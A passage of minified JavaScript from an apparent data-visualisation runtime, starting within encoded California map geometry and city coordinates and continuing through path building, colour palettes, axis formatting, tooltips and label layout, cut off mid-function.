CGCCCGqCnCCEQBCIIECCFIKCCCCCECCCCCCECCIKCFCCGEECCCCCCCECCCCCCCCCCCCCCCCCCCEGECDCYIiBCCCCCCCUSCRCCCCCCCU8BCCCCCCCjCCKKCJCCCCgBlCCCCCCvECCCCCoECgCBEYBKyEtECCCIiJCCCQlJCWCCCCCGCCCGCCCK_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_gBCCCCCC2gBCCGIFCCCCEEEBCECCECCOmGjGCCCCCGGCFCCOKCCCCLCIQCFCEKCCCIKHCCCCEQCGQCCYCCCCCCCCCGDCEECStBCCCCCCkBCEEBIECCCCCKKHCCCEECMMJCCCCEECCCCCCCECCCCCCEEBCECCEECCCOrECCCCCkEEGDCCEECCCECCECCCCCCICCCCEGCCCIHCICGGDCKQCCCCMWDCRCCCCCCCCECCEMDCCKICCHCCIKzIC6IFCCCEGBUlCCCCCCkCCFCMiBbCCCCGCCCGECDCGECCCECCCCCCCCCCCCCCCCICCCCCCCCCCCCCCCCCCCCECCCCICCCCCCCCCCCCCCMCCCCCCCCCCCCUqCCCOtCCCCCCYCCCCCCGCCCJCQqCCCHC9BCCM-M7MCCCCSeCCCCRCCCGOCCMaCCJCCGYDCGGCDCGCCSZCCCCCSCCKwKtKCCCCCECCCOCCQUHCLCCCCCGK3ECCC0EEECCCQ8E5ECCCCCCKCCCCCGCCCCQGCCCECCCCCCMGCCCJCCKCCICCCCCCKECCCHcKCCCCCCCCCICCJCCCCKICCCCCCGMCLCCGCCCEICCCECCCCCCCCQtMCCCCCmMCeaCCbCCCCCCCCCCCCICCECCCCCCCCECCQrKCCCqKCCFGKCDCIECCCCCCGCCCCCCCS3MC6MCCCCCLCOCCCEGCCCCCGMJCECCCCSrICCCCCCkICCCCCCCCCECCCCCCCCCCGCCCIGCFCCGCCECCEEBCEKKHCCCIICFCEIBGECCCCGGDCGECCKCCCCCCCKCCCCCEEBGSNCECCCCCCCCCEGECDKOHCCCGICCCCIJCKCCCECCECCCCECCCCCCCCCCCCCCECCQ_QCCCCC4QCECCCCCCMECCCCJKQCCHCMKCCCCJEOBKwyBryBCCCECCCCCCKKHCCCEIDCCEOBGMHCECCIGCCFQgBCFTCCCCCCGCCCCCCECGCCGCCCECCCCCCKGCCHCGOFCCCCECCCCGCCCECCCCCCCCGCCCCCCCCCGCCCCCIIFCCEGBGOCCKNCCCKESBEGBIMCCCECCCCCCCCM3B6BCCCCCCCCKQCCCCCCCICCGCCCEyDCCvDGCCCGCCCICCCCCCECCCCQnCCCCCCC-BCCCCGCCCCCCCCCSURCCCCCCCCCEECGCCCCCGCCCCCCCCCECCCCCCCCCCGiE_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-CCCChDCCCCIKCCCQoGHC_FCCCCCCOUCLCCCCIICCFGICCOsDCrDCCCCIIFCCEMCGCCCEEBEECCCMOLCCCCCCYrHCCCCCCCmHCFCKGCCCCKCCCCCEEBEECCCGCCCEMJEGCIECCCCCECCCCECCCCECCEGCEECCCCEGIFCCCEECCCCCGCCCI8B5BCCKOCCPCIIFCCCKCCECCCCGGDCCEGCCCCCCCEGDCCCGGCCCCCCCCCCCCCCCCCCCECCCCECCCCCCCCCCCCCCU_KCCC8KCCCCCKCCCCCECCCCSICCCCCPCCGOCCGCCCCCICCCCCCKKCJCCCCEGCEEBEECCCCOCCOICCCLCCKOCCHCEICECCCCCCCCCCCCECCKGCCCJCCCKGCCCCCCCCCO1CCCCCCuCCCCCCCCCCCCCCCCCCCCCCCCCCCCCECCGYCCOZCCCCCSCCCCECCCCOZCCCCWBCECCCCCCCCCCCCCCGnyKCCCiCG61BCkHCoEE0QCCgGCuQEyeCEoBCI6yCCCMCsQOyQCCCCCC","outer":"eCAICCCCCCCCCCCCCCCCCCCCCCCCCCCCyXCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC","group":"A","cities":[["Los Angeles",426.2,617.2],["San Francisco",177.1,336.4],["Irvine",448.1,639.9],["San Diego",489.1,702.2],["Long Beach",427.9,632.3],["San Bernardino",479.7,606.8],["San Jose",209,371.8],["Sacramento",233.4,278.4],["Oakland",188.5,336.7],["Stockton",242.9,324.2],["San Mateo",182.6,352.2],["Fresno",330.2,414.6],["Oceanside",479.1,673.1],["Berkeley",185.8,328.9],["Bakersfield",374.8,516.1],["Palm Springs",527.3,631],["Modesto",259.8,346.9],["Riverside",474.1,620.2],["Santa Rosa",162.5,285.6],["Lancaster",428.4,565.2]]}; function __gvOr(a,b){return a?a:b()};function __gvLe(a,b){return b>=a};function __gvAnd(a,b){return a?b():a};function __gvLt(a,b){return b>a};var __gvRuntime=(()=>{var oe=Object.defineProperty;var Mn=Object.getOwnPropertyDescriptor;var vn=Object.getOwnPropertyNames;var Cn=Object.prototype.hasOwnProperty;var $n=(t,n)=>{for(var r in n)oe(t,r,{get:n[r],enumerable:!0})},Tn=(t,n,r,a)=>{if(((n?typeof n=="object":!1)?!0:typeof n=="function"))for(let e of vn(n))((!Cn.call(t,e)?e!==r:!1)?oe(t,e,{get:()=>n[e],enumerable:(!(a=Mn(n,e))?!0:a.enumerable)}):!1);return t};var Sn=t=>Tn(oe({},"__esModule",{value:!0}),t);var Sr={};$n(Sr,{MOBILE_BREAKPOINT:()=>xn,mount:()=>Tr,primaryAxis:()=>xe,visible:()=>wn});var En=["map-states","map-counties","map-world","map-dots","map-zips"];function Me(t){return En.includes(t)}var ve=["line","slope"];var Ln="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",Fn=new Map([...Ln].map((t,n)=>[t,n])),An=10;function ae(t){let n=[],r=0,a=1;for(let e of t){let o=Fn.get(e);if(o===void 0)throw new Error("Unreadable map geography");r+=o%32*a,o>=32?a*=32:(n.push(r%2?-(r+1)/2:r/2),r=0,a=1)}return n}function Dn(t,n){let r=ae(t),a=[],e=0,o=0,s=0;for(;(r.length)>(e);){let u=r[e++],i=[];for(let m=0;(u)>(m);m++)o+=r[e++],s+=r[e++],i.push([o/n,s/n]);a.push(i)}return a}function Ce(t,n){let r=[];return n.forEach((a,e)=>{let o=a>=0?t[a]:[...t[-a-1]].reverse();for(let s=e?1:0;(o.length)>(s);s++)r.push(o[s])}),r}var $e=t=>String(Math.round(t*10)/10),Te=(t,n)=>t.length?`M${t.map(([r,a])=>`${$e(r)} ${$e(a)}`).join("L")}${n?"Z":""}`:"";function Pn(t){var e;let n=0,r=0,a=0;for(let o=0,s=t.length-1;(t.length)>(o);s=o++){let u=t[s][0]*t[o][1]-t[o][0]*t[s][1];n+=u,r+=(t[s][0]+t[o][0])*u,a+=(t[s][1]+t[o][1])*u}return n?{area:n/2,c:[r/(3*n),a/(3*n)]}:{area:0,c:(e=t[0])!=null?e:null}}function Se(t){var d;let n=Dn(t.arcs,(d=t.q)!=null?d:An),r=!!t.sphere,a=ae(t.geoms),e=0,o=0,s=t.ids.map((g,y)=>{var $,V,N;let x=a[e++],f="",b=null,A=-1,G=[];for(let I=0;(x)>(I);I++){let S=a[e++],C=[];G.push(C);for(let w=0;(S)>(w);w++){let k=a[e++],R=[];for(let O=0;(k)>(O);O++)o+=a[e++],R.push(o);let B=Ce(n,R);if(r){C.push(B);continue}if(f+=Te(B,!0),w===0){let{area:O,c:Y}=Pn(B);(Math.abs(O)>A?(A=Math.abs(O),b=Y):!1)}}}return{id:g,name:($=t.names[y])!=null?$:g,code:(N=(V=t.codes)==null?void 0:V[y])!=null?N:"",d:f,anchor:b,...r?{polygons:G}:{}}}),u=g=>{var G;let y=ae(g),x=0,f=0,b=[],A=(G=y[x++])!=null?G:0;for(let $=0;(A)>($);$++){let V=y[x++],N=[];for(let I=0;(V)>(I);I++)f+=y[x++],N.push(f);b.push(Ce(n,N))}return b},[i,m,p]=[u(t.inner),u(t.outer),u(t.group)],l=g=>r?"":g.map(y=>Te(y,!1)).join("");return{id:t.id,w:t.w,h:t.h,features:s,...t.cities?{cities:t.cities}:{},inner:l(i),outer:l(m),group:l(p),...r?{sphere:!0,lines:{inner:i,outer:m,group:p}}:{}}}var mt={orange:"#F79945",turquoise:"#12A07F",fuchsia:"#AC00E8",azure:"#3977F3",earth:"#3C3830",red:"#F5515B"},et={primary:"#3C3830",secondary:"#777777",grid:"#E0E0E0",muted:"#C9C5BD",darkPrimary:"#F0EDE6",darkSecondary:"#B3ADA3",darkGrid:"#4A4640",darkMuted:"#6B665E"},Fe={white:"#FFFFFF",smog:"#F0F0F0",lavender:"#D3C8FF",celery:"#E6FFA0",sky:"#C5E0F7",butter:"#FFF1C7",blush:"#FFD6DA"};function Ee(t,n,r){let a=t.replace("#",""),e=n.replace("#","");return`#${[0,2,4].map(s=>{let u=parseInt(a.slice(s,s+2),16),i=parseInt(e.slice(s,s+2),16);return Math.round(u+(i-u)*r).toString(16).padStart(2,"0")}).join("")}`.toUpperCase()}var bt=mt;var Dt="#D9D7D2",Pt="#3A3733",Ae="#EDEBE6",De="#2E2B28",Le="#F5EDDA",Gn="#EF6C4A",zt=t=>[Ee(t,"#FFFFFF",.8),t.toUpperCase(),Ee(t,"#000000",.45)],Ar=[{id:"seq-orange",label:"Orange",kind:"sequential",stops:zt(bt.orange)},{id:"seq-turquoise",label:"Turquoise",kind:"sequential",stops:zt(bt.turquoise)},{id:"seq-azure",label:"Azure",kind:"sequential",stops:zt(bt.azure)},{id:"seq-fuchsia",label:"Fuchsia",kind:"sequential",stops:zt(bt.fuchsia)},{id:"div-turquoise-coral",label:"Turquoise to coral",kind:"diverging",stops:[bt.turquoise,Le,Gn]},{id:"div-azure-orange",label:"Azure to orange",kind:"diverging",stops:[bt.azure,Le,bt.orange]}];function ie(t){let n=t.parentElement;for(;n;){let a=getComputedStyle(n).backgroundColor.match(/rgba?\(([\d.]+),\s*([\d.]+),\s*([\d.]+)(?:,\s*([\d.]+))?\)/);if((a?((a[4]===void 0?!0:parseFloat(a[4])>.5)):!1)){let e=(.299*+a[1]+.587*+a[2]+.114*+a[3])/255;return{color:`rgb(${a[1]},${a[2]},${a[3]})`,dark:(.5)>(e)}}n=n.parentElement}return{color:null,dark:!1}}function Gt(t,n,r,a,e=1){let o=(i,m)=>`${(0)>(i)?"\u2212":""}${n}${m}${r}`;return{axis:(i,m)=>{let p=i*e>=1e4,l=((m?m:1))*e,d=i*e,g=p?t.formatPrefix(`.${a!=null?a:t.precisionPrefix(l,d)}`,d):t.format(`,.${a!=null?a:t.precisionFixed(l)}f`);return y=>(p?y===0:!1)?o(0,"0"):o(y,g(Math.abs(y*e)).replace("G","B"))},value:i=>{let m=Math.abs(i*e),p=a!=null?a:Vn(m),l=t.format(`,.${p}~f`);return o(i,l(m))}}}function Vn(t){return t>=100?0:t>=10?1:((t>=1?!0:t===0)?!0:!Number.isFinite(t))?2:Math.min(20,Math.max(2,Math.ceil(-Math.log10(t))+1))}function yt(t,n,r,a){let[e,o]=r,s=t.tickStep(e,o,a);return Gt(t,n.prefix,n.suffix,n.decimals,n.multiply).axis(Math.max(Math.abs(e),Math.abs(o)),s)}function Ve(t,n,r){let{xKind:a,x:e}=n.data,o=n.style.xFormat;if(a==="year")return s=>String(s);if(a==="number"){let s=Gt(t,o.prefix,o.suffix,o.decimals,o.multiply);return u=>s.value(Number(u))}if(a==="date"){let s=e.map(l=>String(l)),u=s.every(l=>l.endsWith("-01-01")),i=s.every(l=>l.endsWith("-01")),m=u?"%Y":i?r?"%b \u2019%y":"%b %Y":"%b %-d, %Y",p=t.utcFormat(m);return l=>p(l instanceof Date?l:new Date(String(l)+(String(l).length===10?"T00:00:00Z":"")))}return s=>String(s)}function _e(t){return new Date(String(t)+"T00:00:00Z")}function _n(t,n){var r;return n?"#1A1A1A":(r=Fe[t.style.background])!=null?r:"#FFFFFF"}function se(t){let n=t.replace("#",""),r=n.length===3?n.split("").map(a=>a+a).join(""):n.slice(0,6);return[0,2,4].map(a=>__gvOr(parseInt(r.slice(a,a+2),16),()=>(0)))}function Nn([t,n,r]){return`#${[t,n,r].map(a=>Math.round(Math.max(0,Math.min(255,a))).toString(16).padStart(2,"0")).join("")}`.toUpperCase()}function Ot(t,n,r){let a=se(t),e=se(n);return Nn(a.map((o,s)=>o+(e[s]-o)*r))}function Ht(t){let[n,r,a]=se(t).map(e=>{let o=e/255;return (.03928)>=(o)?o/12.92:((o+.055)/1.055)**2.4});return .2126*n+.7152*r+.0722*a}function Ct(t,n){let[r,a]=[Ht(t),Ht(n)].sort((e,o)=>o-e);return(r+.05)/(a+.05)}function Rn(t,n){if(!n)return t;let r=t.toUpperCase();return r===mt.earth?et.darkPrimary:r===et.muted.toUpperCase()?et.darkMuted:t}var Pe=.58,Bt=.45,In=.7,Ge=new Map;function zn(t,n){let r=`${t}|${n}`,a=Ge.get(r);if(a)return a;let e=Ht(t),o=0,s=1/0;for(let m=0;(206)>=(m);m++){let p=-Bt+m/206*(Bt+Pe),l=Math.abs(Ht((0)>(p)?Ot(n,"#FFFFFF",-p):Ot(n,"#000000",p))-e);((s)>(l)?([o,s]=[p,l]):!1)}let u=(o+Bt)/(Bt+Pe),i=Ot(n,"#FFFFFF",u*In);return Ge.set(r,i),i}function xt(t,n,r){var e;if(!r)return n;let a=(e=t.style.paletteId)!=null?e:"";if(a.startsWith("tonal-")){let o=mt[a.slice(6)];if(o)return zn(n,o)}return Rn(n,r)}function ot(t,n,r){var a,e;return xt(t,(e=(a=t.data.series[n])==null?void 0:a.color)!=null?e:mt.orange,r)}function wt(t,n,r,a=4.5){let e=_n(t,r);if(Ct(n,e)>=a)return n;let o=r?"#FFFFFF":"#000000";for(let s=.05;(1)>(s);s+=.05){let u=Ot(n,o,s);if(Ct(u,e)>=a)return u}return o}function qt(t){return Ct("#FFFFFF",t)>=4.5?"#FFFFFF":Ct(et.primary,t)>=4.5?et.primary:Ct("#FFFFFF",t)>=Ct("#000000",t)?"#FFFFFF":"#000000"}var le={w:975,h:610,scale:1300,x:487.5,y:305},jt=le.scale,Ne=le.x,Re=le.y,Ie=[[Ne+.29*jt,Re+.17*jt],[Ne+.41*jt,Re+.234*jt]];function ze(t,n){let r=t.querySelector(`.${n}`);(r?!0:(r=t.ownerDocument.createElement("div"),r.className=n,r.setAttribute("role","presentation"),t.appendChild(r)));let a=r,e=null,o=null,s=()=>{a.style.display="none"},u=m=>{((m===o?!0:!e)?!0:(m.pointerType==="touch"?(e(),e=null):!1))},i=t.ownerDocument;return i.addEventListener("pointerdown",u),{show(m,p,l){a.innerHTML=m,a.style.display="block";let d=a.offsetWidth,g=a.offsetHeight,y=t.clientWidth,x=p+14;(x+d>y?(x=p-d-14):!1),((0)>(x)?(x=Math.max(0,Math.min(y-d,p-d/2))):!1),a.style.left=`${x}px`,a.style.top=`${Math.max(0,l-g-12)}px`},hide:s,bind(m,p,l){let d=()=>{(l==null?!0:l()),s()};m.on("pointermove.gvtip",(g,y)=>p(g,y)).on("pointerdown.gvtip",(g,y)=>{((g.pointerType!=="touch"?g.pointerType!=="pen":!1)?!0:(o=g,e=d,p(g,y)))}).on("pointerleave.gvtip",g=>{(g.pointerType!=="touch"?d():!1)})},destroy(){i.removeEventListener("pointerdown",u)}}}function ct(t){return t.replace(/[\x26\x3c>"]/g,n=>({"\x26":"\x26amp;","\x3c":"\x26lt;",">":"\x26gt;",'"':"\x26quot;"})[n])}function it(t,n,r,a){let e=o=>o.replace(/[\x26\x3c>]/g,s=>({"\x26":"\x26amp;","\x3c":"\x26lt;",">":"\x26gt;"})[s]);return`\x3cdiv class="${t}">\x3ci style="background:${n}">\x3c/i>\x3cspan>${e(r)}\x3c/span>\x3cb>${e(a)}\x3c/b>\x3c/div>`}function Wt(t,n,r,a={}){let e=t.svg.append("g").attr("class",t.cls("tick-probe")).attr("opacity",0),o=n.map(s=>{var i;let u=e.append("text").attr("class",(i=a.cls)!=null?i:null).style("font-size",`${r}px`).text(s);return (a.weight?u.style("font-weight",String(a.weight)):!1),Math.ceil(u.node().getComputedTextLength())});return e.remove(),o}function lt(t,n,r,a={}){return Math.max(0,...Wt(t,n,r,a))}function kt(t,n){return n.ticks(t.mobile?4:5)}function $t(t,n,r,a){let e=kt(t,r),o=t.fmtAxis;n.append("g").attr("class",t.cls("grid")).selectAll("line").data(e).join("line").attr("x1",0).attr("x2",a).attr("y1",i=>Math.round(r(i))+.5).attr("y2",i=>Math.round(r(i))+.5),n.append("g").attr("class",t.cls("ticks")).selectAll("text").data(e).join("text").attr("x",-8).attr("y",i=>r(i)).attr("dy","0.32em").attr("text-anchor","end").text(i=>o(i))}function Tt(t,n,r,a){let[e,o]=r.domain();if((e>0?!0:(0)>(o)))return;let s=((0)>(e)?o>0:!1);n.append("line").attr("class",t.cls(s?"zero":"baseline")).attr("x1",0).attr("x2",a).attr("y1",Math.round(r(0))+.5).attr("y2",Math.round(r(0))+.5)}function Yt(t,n,r,a){n.append("line").attr("class",t.cls("baseline")).attr("x1",0).attr("x2",r).attr("y1",a+.5).attr("y2",a+.5)}function Zt(t,n){return Math.max(2,Math.floor(t/(n?70:90)))}var Bn=10;function On(t){return t.mobile?12:14}function Hn(t,n,r,a){return (r)>(t-n/2)?{anchor:"start",start:t,end:t+n}:t+n/2>a?{anchor:"end",start:t-n,end:t}:{anchor:"middle",start:t-n/2,end:t+n/2}}function Ut(t,n,r,a){let e=-t.margin.left,o=t.width-t.margin.left,s=new Map,u=p=>{let l=[...new Set(p.filter(d=>!s.has(d)))];return Wt(t,l,On(t)).forEach((d,g)=>s.set(l[g],d)),p.map(d=>s.get(d))},i=null,m=-1;for(let p=Math.max(1,Math.floor(a));p>=1;p--){let l=r(p);if(l.ticks.length===m)continue;m=l.ticks.length;let d=l.ticks.map(l.label),g=u(d),y=l.ticks.map((b,A)=>Hn(n(b),g[A],e,o));i={...l,anchor:b=>y[b].anchor};let x=y.every(b=>(b.start>=e-.5?(o+.5)>=(b.end):!1)),f=y.every((b,A)=>(A===0?!0:(b.start)>=(y[A-1].end+Bn)));if((x?f:!1))return i}return i!=null?i:{...r(1),anchor:()=>"middle"}}function Kt(t,n){let r=n.domain();return t.spec.data.xKind==="year"?a=>({ticks:n.ticks(a).filter(e=>Number.isInteger(e)),label:e=>String(e)}):a=>{let e=t.xAxis(r,a);return{ticks:n.ticks(a),label:o=>e(o)}}}function Qt(t,n,r,a,e){n.append("g").attr("class",t.cls("ticks")).attr("transform",`translate(0,${r})`).selectAll("text").data(a.ticks).join("text").attr("x",o=>e(o)).attr("y",22).attr("text-anchor",(o,s)=>a.anchor(s)).text((o,s)=>a.label(o,s))}function Xt(t,n,r,a){let e=[...t].sort((m,p)=>m.y-p.y),o=e.length;if(!o)return;let s=o>1?Math.min(n,Math.max(0,a-r)/(o-1)):n,u=m=>{m.top=Math.max(r,Math.min(a-(m.size-1)*s,m.sum/m.size))},i=[];e.forEach((m,p)=>{let l={start:p,size:1,sum:m.y,top:m.y};for(u(l),i.push(l);i.length>1;){let d=i[i.length-1],g=i[i.length-2];if((d.top+1e-9)>=(g.top+g.size*s))break;g.sum+=d.sum-d.size*g.size*s,g.size+=d.size,i.pop(),u(g)}});for(let m of i)for(let p=0;(m.size)>(p);p++)e[m.start+p].y=m.top+p*s}function Oe(t,n,r,a,e){let o=[],s=[];for(let i of t){let m=[...o,{item:i,y:i.y}].map(l=>({own:l.y,y:l.y})),p=(a-r)>=((m.length-1)*n);(p?Xt(m,n,r,a):!1),(p?m.every(l=>__gvLe(Math.abs(l.y-l.own),e)):!1)?o.push({item:i,y:i.y}):s.push(i)}let u=o.map(i=>({y:i.y}));return Xt(u,n,r,a),o.forEach((i,m)=>i.item.y=u[m].y),{kept:o.map(i=>i.item),dropped:s}}function He(t,n,r,a){let e=[...new Set(r.map(f=>f.getTime()))].sort((f,b)=>f-b),o=qn(r,e),s=[...[t.utcDay,t.utcDay.every(2),t.utcWeek,t.utcWeek.every(2)].map(f=>[f,"day"]),...[1,2,3,6].map(f=>[t.utcMonth.every(f),"month"]),...[1,2,5,10,20,25,50,100,200,250,500,1e3].map(f=>[t.utcYear.every(f),"year"])],u=s.slice(s.findIndex(([,f])=>f===o)),[i,m]=n.domain(),[p,l]=u[u.length-1],d=[];for(let[f,b]of u){let A=Be(f,e,i,m);if((a)>=(A.length)){[p,l,d]=[f,b,A];break}}(d.length?!0:(d=Be(p,e,i,m))),((!d.length?e.length:!1)?(d=e.length===1?[new Date(e[0])]:[new Date(e[0]),new Date(e[e.length-1])]):!1);let g=(f,b)=>(b===0?!0:d[b-1].getUTCFullYear()!==f.getUTCFullYear()),y={year:t.utcFormat("%Y"),month:t.utcFormat("%b"),monthYear:t.utcFormat("%b %Y"),day:t.utcFormat("%b %-d"),dayYear:t.utcFormat("%b %-d, %Y")};return{ticks:d,label:(f,b)=>l==="year"?y.year(f):l==="month"?g(f,b)?y.monthYear(f):y.month(f):g(f,b)?y.dayYear(f):y.day(f)}}function qn(t,n){if(t.every(o=>(o.getUTCMonth()===0?o.getUTCDate()===1:!1)))return"year";if((2)>(n.length))return t.every(o=>o.getUTCDate()===1)?"month":"day";let a=1/0;for(let o=1;(n.length)>(o);o++)a=Math.min(a,n[o]-n[o-1]);let e=a/864e5;return e>=360?"year":e>=28?"month":"day"}function Be(t,n,r,a){let e=t.range(t.floor(r),new Date(a.getTime()+1)),o=[];return e.forEach((s,u)=>{var p;let 